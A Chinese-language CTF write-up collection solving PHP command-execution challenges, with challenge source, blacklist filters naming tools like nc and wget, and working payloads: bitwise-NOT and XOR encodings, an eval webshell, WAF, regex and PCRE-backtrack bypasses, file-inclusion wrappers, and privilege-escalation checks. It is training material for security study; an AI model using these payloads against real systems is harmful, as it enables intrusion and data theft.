前言:开一个命令执行专题,记录一下自己做到的相关题目,也算是一个汇总吧,会注明题目以及来源,虽然有几个忘了是哪里找到的了....
目录
[[RoarCTF 2019]Easy Calc1](#[RoarCTF 2019]Easy Calc1)
[[极客大挑战 2019]RCE ME](#[极客大挑战 2019]RCE ME)
[[SWPUCTF 2021 新生赛]finalrce](#[SWPUCTF 2021 新生赛]finalrce)
[[SWPUCTF 2021 新生赛]hardrce](#[SWPUCTF 2021 新生赛]hardrce)
[[FSCTF 2023]webshell是啥捏](#[FSCTF 2023]webshell是啥捏)
[[羊城杯 2020]easycon](#[羊城杯 2020]easycon)
[RoarCTF 2019]Easy Calc1
来源:BUUCTF
打开网站是一个计算机,看一下源代码:

可以看到这里有一个calc.php,我们可以访问一下:
php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这里就是一些对num的waf:
如果 num 存在,则将获取到的值赋给变量 str 。接下来,代码定义一个黑名单数组 blacklist ,包含了一些需要过滤的特殊字符和字符串 。
然后,代码使用 foreach 循环遍历黑名单数组 blacklist 。在每次循环中,代码使用 preg_match() 函数对 str 进行匹配,判断是否包含黑名单中的任何一个特殊字符或字符串。如果匹配成功,即 $str 中包含黑名单中的特殊字符或字符串,代码会输出 " what are you want to do? " 并终止脚本的执行。
如果没有匹配到任何黑名单字符,代码会使用 eval() 函数执行一个动态的 PHP 代码字符串,即将str作为被执行的PHP代码。这段代码的作用是输出 str 中的内容。
我们尝试一下:num=system()会显示:

这里说明直接是被防火墙拦截了,这里又学到一个新的知识点:
我们在num前面加上一个空格 这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。
当 空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

这样的话确实就不是403了,然后因为这里由过滤,我们用的是无参RCE:
php
? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
getcwd()
↓
获取当前目录
dirname()
↓
返回上级目录
dirname()
↓
再返回上级
dirname()
↓
再返回上级(到 /)
scandir()
↓
列出 / 目录
var_dump()
↓
打印结果
显示的结果如下:

其实这里还有更简单的,我们可以直接:
php
? num=var_dump(scandir(chr(47)));
chr(47)就是/
然后就是查看f1agg:
php
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
? num=highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
? num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
//用chr进行拼接

[极客大挑战 2019]RCE ME
来源:BUUCTF
直接给了源码:
php
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
一道典型的 PHP 无字母无数字 RCE,可以使用异或或者取反来绕过,我们可以先看看system的结果,用的脚本如下:
php
<?php
echo urlencode(~'system') . "\n";
echo urlencode(~'ls /') . "\n";
?code=(~%8C%86%8C%8B%9A%92)(~%93%8C);
但是看到没有任何回显,这里应该是没有echo的原因,看一下phpinfo里面ban的函数:

没有system,那应该就是echo的问题,看了大佬的文章说用assert,然后再在里面嵌套一个eval,原因是eval在php中是语言结构,不能用变量函数来进行调用,即没法用 ~ 取反构造字符串 eval 然后调用它。
然后assert在旧版本 PHP(PHP5 / PHP7早期)里有一个特性:
php
如果参数是字符串:
assert("phpinfo();");
PHP 会把字符串 当成 PHP 代码执行,等价于:
eval("phpinfo();");
所以:
assert("php代码")
≈
eval("php代码")
但很多题环境(特别是 PHP7+)assert 不再执行字符串,就比如:
php
assert("phpinfo()");
只会返回 true/false,不会执行代码。
所以需要 再加一层 eval。
因此最终我们采用以下构造:
php
assert(eval($_POST[test]));
<?php
echo urlencode(~'assert') . "\n";
echo urlencode(~'eval($_POST[cmd])') . "\n";
%9E%8C%8C%9A%8D%8B
%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6
即:?code=
(~%9E%8C%8C%9A%8D%8B)
(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6);

由于 disable_functions的存在我们不能说直接读取flag,网上大佬有写相关文章:
这里用的是插件,因为插件市场有些限制所以直接是github仓库里拉取的插件,安装教程上面都有这里就不再赘述,但是需要注意的是最后要把master给去掉,变成as_bypass_php_disable_functions 这样插件才能正常运行。安装完后右击webshell会有插件,点击之后又选择如下并开始:


(注意这里是ctrl+c)
然后最近做到一个提权的题目就想着这里也能不能进行提权,先看了一下:
bash
ls -la /flag
位 含义
- 普通文件
r owner 可读
--- group 无权限
--- others 无权限

用大白话讲就是root可读,尝试了一下:
bash
whoami
sudo -l
find / -perm -4000 2>/dev/null
uname -a

没有SUID进程,并且内核也比较新,那么大概率提不了权...
[FBCTF2019]RCEService
来源:BUUCTF
进去是一个非常朴素的界面,看网页源码和抓包也没啥东西:

然后随便输入几个字符尝试了一下,发现过滤了单引号,括号,数字,大写字母,而且这里还过滤了~和@ 照理说不应该盲输,但是扫的话429也不行,然后网上翻了一下是有源代码的:
php
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
代码中**cmd = json_decode(json, true)['cmd']**
json_decode(): 用于将JSON格式的字符串解码为PHP变量,参数 $json 是要被解码的 JSON 字符串,格式类似 {"cmd": "ls"}
然后正则过滤的差不多就是我上面尝试的,

这里想的是%0a进行截断:
bash
cmd={%0a"cmd":"ls /home/rceservice"}
.....怎么又被发现了,然后网上翻了翻别的师傅的wp,这里参考田师傅的:原文链接
看了之后发现我对正则匹配的认知还有很多不足之处,讲的m和s是啥不清楚(还以为是sm),这里记录一下:
正则中的代码是这样的:
php
/^.*( ... |[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/
^
.*
(黑名单字符)
.*
$
即:整段字符串中只要出现一次黑名单字符就匹配成功
然后这里提到的m和s是修饰符 ,叫做多行模式 ,会改变^ $的匹配方式,就拿m来说:
php
默认情况下:
^ → 只匹配字符串开头
$ → 只匹配字符串结尾
例如:
abc
def
ghi
正则:^def不会匹配成功,因为^ 只能匹配整个字符串的开头,而这里开头是abc
那么如果使用了m的话:
php
/^def/m
那么:
^ 变成匹配 每一行 的开头
$ 变成匹配 每一行 的结尾
匹配过程:
abc ← ^abc
def ← ^def
ghi ← ^ghi
这样就能匹配第二行
然后s就是匹配换行:
php
/a.b/
字符串:
a
b
默认不匹配,加上s之后:
加 s:
/a.b/s
可以匹配 \n,即匹配成功
| 修饰符 | 作用 |
|---|---|
m |
改变 ^ $ 行匹配 |
s |
让 . 可以匹配换行 |
因为这里没有m和s,所以开始想的是%0a产生多行来进行绕过,但是这里有一个重点:
正则还过滤了:\x00-\x1F
| 字符 | ASCII |
|---|---|
| NULL | 0 |
| TAB | 9 |
| LF (换行) | 10 |
| CR | 13 |
而 %0a 就在这个范围,,而后面的+表示**可以匹配1次或多次,**因此在%0a后面再多添加几个%0a也没用,但是这里可以构造成这样:
javascript
cmd={%0a"cmd":"ls /"%0a}
看到flag
此时.* 匹配 { 而\x00-\x1F 匹配了第一个%0a 但是最后的 .* 不能匹配换行符,因此也匹配不到换行后的 } 所以不能匹配到完整字符串,返回值为空,完成正则绕过
php
cmd={%0a"cmd":"cat /home/rceservice/flag"%0a} 无回显
cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a} 有回显
这里面涉及到了系统环境变量的改变:
php
putenv('PATH=/home/rceservice/jail');
现在 PATH 变成:/home/rceservice/jail
系统只会找:/home/rceservice/jail/cat
而第二个/bin/cat /home/rceservice/flag则是绝对路径查找 直接执行/bin/cat ,能成功读取
这里还有第二种解法叫PCRE回溯次数绕过 ,PHP 使用的正则库叫PCRE,
正则匹配时,如果有:
.*
a*
(a|b)
这种 多种可能匹配路径 的情况,正则引擎会:尝试 → 失败 → 回退 → 再尝试,而这个过程就叫做回溯,而为了防止正则卡死 CPU,PHP 设置了限制,默认:
pcre.backtrack_limit = 100000
如果回溯超过这个次数限制,正则执行就会失效,让传入的参数逃逸,从而正常执行命令绕过限制,来个脚本就好:
python
import requests
import json
url = "http://6d620772-dd7d-4c92-9060-9ca7daa3c9b5.node5.buuoj.cn:81/index.php"
payload = {
"cmd": "/bin/cat /home/rceservice/flag",
"abc": "a" * 1000000
}
data = {
"cmd": json.dumps(payload)
}
res = requests.post(url, data=data)
print(res.text)
[SWPUCTF 2021 新生赛]finalrce
来源:NSSCTF(这里开环境要爆金币所以就不开了)
php
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
是一个无回显的RCE,想到使用Linux的tee命令进行写文件操作:
php
?url=l''s /|tee 1.txt
//这里采用'来绕过对ls的过滤

然后进行读取,cat被过滤用tac或者别的:
php
?url=tac /flllll''aaaaaaggggggg |tee 2.txt
//注意这里还有对la的过滤,后面再访问2.txt即可
Web_php_include
来源:攻防世界:
php
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
这里只是对page是否含有小写的php://进行循环检查,并将其替换为空,所以这里双写绕过就不行了,但是可以大小写绕过,构造:
php
?page=pHp://input
//然后这里得到BP里面去搞,直接hackbar里面不知道为什么不显示,发包到bp没有post的内容

然后读取一下就行:

然后这里也可以采用data伪协议:
php
?page=data://text/plain,<?php system('tac fl4gisisish3r3.php'); ?>

但是以上两种方法都没有用到hello这个参数,去看了一下官方WP:
php
?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
- 外层的 page参数 :http://127.0.0.1/index.php/?hello=...
- 这是文件包含,通过HTTP包含本地文件
- 127.0.0.1指向本机
- 内层的 hello参数 :<?system("ls");?>
- 这是PHP代码,但作为参数传递给被包含的文件
关键点:
- include包含远程文件:需要allow_url_include=On
- 输出的PHP代码被执行:因为是被include的,输出内容会作为代码执行
- 双重执行 :
- 第一层:被包含文件执行echo输出PHP代码
- 第二层:输出的代码被当做PHP执行
[SWPUCTF 2021 新生赛]hardrce
来源:NSSCTF
php
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
大差不差,进行取反,这里面不像第二道这么ex,取反这里稍微带过一下,讲一下异或(虽然这里或运算被ban了)
php
?wllm=(~%8C%86%8C%8B%9A%92)
(~%93%8C%DF%D0);
//看到 flllllaaaaaaggggggg
?wllm=(~%8C%86%8C%8B%9A%92)
(~%8B%9E%9C%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
//输出flag
php
'@' ^ '3' = 's'
可以通过 两个允许字符 XOR 得到字母,再通过点号进行拼接:
("@"^"3").("@"^"1")
给一个脚本,算是自己的武器库:
python
import string
def xor_payload(s):
charset = string.printable
result = []
for c in s:
found = False
for a in charset:
for b in charset:
if chr(ord(a) ^ ord(b)) == c:
result.append(f'("{a}"^"{b}")')
found = True
break
if found:
break
if not found:
print("无法生成:", c)
return
return ".".join(result)
target = input("输入要异或生成的字符串: ")
payload = xor_payload(target)
print("\n生成的PHP XOR payload:\n")
print(payload)
[FSCTF 2023]webshell是啥捏
来源:NSSCTF
第一次见颜文字的web题目.....
php
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽'])) {
eval($😭($_GET['👽']));
};
?>
这里找一下就行,发现是passthru,外星人复制一下就行了,构造的结果也很简单:
bash
?👽=ls /
?👽=tac /flag.txt

如果不想一个个找过去的话也可以脚本跑一下:
python
import re
php_code = """
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙.$😀.$🤗.$🤗.$🤩.$😆.$🙂.$🤔;
"""
# 解析变量映射
mapping = dict(re.findall(r'\$(.*?)="(.*?)";', php_code))
# 找到拼接表达式
line = re.search(r'\$😭\s*=\s*(.*?);', php_code).group(1)
# 提取变量名
vars_used = re.findall(r'\$(\S+?)', line)
# 还原字符串
result = ''.join(mapping[v] for v in vars_used)
print("还原函数名:", result)
极客大挑战2024-rce_me
来源:CTF+
题目也是直接给了源码,东西还有点多,那就再回顾一下:
php
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
# Can you RCE me?
if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}
echo "Welcome to GeekChallenge2024!<br>";
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";
if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}
if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
首先,题目要我们POST传参start,并且不能是数组,然后后面的正则匹配和strpos都是检查有没有start .... now这样的结构,如果没有就返回die,因此,最开始的话我们构造start如下:
php
POST:start=start now
下面是一长串的条件:
php
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
-
将POST参数__2024.geekchallenge.ctf转为字符串后,其sha1哈希值 等于"Geekchallenge2024_bmKtL"的md5哈希值;
-
该参数的字符串形式不等于"Geekchallenge2024_bmKtL"(避免直接传目标字符串绕过);
-
将该参数转为int类型后,结果是数字(is_numeric判断是否为数字/数字字符串)。
而Geekchallenge2024_bmKtL 经过md5后输出的是0e开头,因为这里为弱比较,因此我们要找一串数字经过sha1哈希之后也为0e开头即可,这里的资料参考PHP中MD5和sha1绕过方式总结
php
以下值在md5加密后以0E开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
以下值在sha1加密后以0E开头:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112
双重MD5加密后0E开头:
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
然后最开始我这么构造的:
php
POST:start=start now&__2024.geekchallenge.ctf=10932435112
但是这里面涉及到了一个问题:当PHP解析post或者get参数时,如果遇到.会将其转化为_ 这就导致了我们上述的构造最终会变成这样:
php
__2024_geekchallenge_ctf
而代码读取的是__2024.geekchallenge.ctf,就不符合条件了
这里我们最终用到的是这样的:
php
start=start now&_[2024.geekchallenge.ctf=10932435112
当PHP版本小于8时,如果参数中出现中括号 `[` ,中括号会被转换成下划线_
但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_
也就是说如果中括号 `[`出现在前面,那么中括号 `[` 还是会被转换成下划线_
但是因为出错导致接下来的非法字符并不会被转换成下划线_,即只替换 [
然后下面就是GET形式的可变变量,先是传如一个year要求如下:
php
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";
intval函数无法解析科学计数法,比如我们输入1e10,那么截断后变成1,但是1e10+1怎是完整算出来,所以这里?year=1e10即可
再往下看:
php
if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono"); //只有有任何包含rce就die
}
if (stripos($purpose, "rce") === false) {
die("nonononono"); //必须包含rce
}
这里采用数组绕过:purpose[]=rce,因为正则和stripos要求参数必须为string,而这里为数组会返回null,而null不等于false,那么就能绕过了
最后就是eval了,那么我们最终的payload为:
php
GET:?year=1e10&purpose[]=rce&code=system('cat%20%2Fflag')%3B
POST:start=start+now&_[2024.geekchallenge.ctf=10932435112
kill_king
来源:第三届SHCTF
这里就跳过最开始的代码审计了,直接到RCE部分:
php
<?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){
if(preg_match('/^\W+$/', $you)){
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
} else {
echo "Invalid result.";
}
} else {
echo "No access.";
}
?>
这里要求传入三个参数,并且who和are必须是数字,you必须是非单词字符(不能包含 A-Z, a-z, 0-9, _)、
我们需要执行 system('cat /flag'),但 system、cat、flag 都是字母,会被正则拦截。
使用 PHP 取反绕过技术。 在 PHP 中,我们可以对字符串进行按位取反操作。例如 "system" 会变成一串不可见的乱码(高位字符)。这些乱码不属于 [a-zA-Z0-9_],因此可以绕过 W 正则。 当 PHP 执行 ("乱码") 时,它会还原回 "system"。
用三元表达式可以构造出return 1?system(cat /flag):1来执行system()方法,由于是直接拼接进参数里,$you进行取反:
php
<?php
echo urlencode(~'system')."\n";
echo urlencode(~'cat /flag');
//%8C%86%8C%8B%9A%92
//%9C%9E%8B%DF%D0%99%93%9E%98
最终的构造:?who=1&you=?(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%9E%98):&are=1

[羊城杯 2020]easycon
来源:NSSCTF
这是一道很 抽象的题目,刚进界面是这样的,还以为有问题:

可以扫一下或者随便尝试一下可以发现有index.php,输入后显示:

直接给出了webshell,那么输个命令看看:

访问一下这个文件,看到一大堆看着像base64这样的:

一般这样的话不可能是直接解码,更可能是类似图片,找个在线网站转换一下:

只能说鸣潮牛逼...
EzMD5
来源:QingCenCTF(网上师傅新开的一个公益靶场ing~)
这道题其实不算命令执行,但还是放在这里因为这里涉及到了之前未曾出现过的:
php
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['QC'])) {
$qc = (string)$_GET['QC'];
if(substr(md5($qc),-6,6) ==='d54e23'){
echo "<br>Welcome, admin!<br>";
echo $flag;
} else {
echo "Login failed.";
}
}
?>
这里要求其**md5值的后6位等于d54e23,**网上目前无相关工具(应该吧,没找过)就要自己写相应脚本,没写过这种的所以这里贴一下:
python
import hashlib
target = "d54e23"
i = 0
while True:
s = str(i) # 也可以尝试包含字母的组合,但数字足够
if hashlib.md5(s.encode()).hexdigest()[-6:] == target:
print(f"Found: {s}")
break
i += 1
最终找到的数为26120,提交即可:
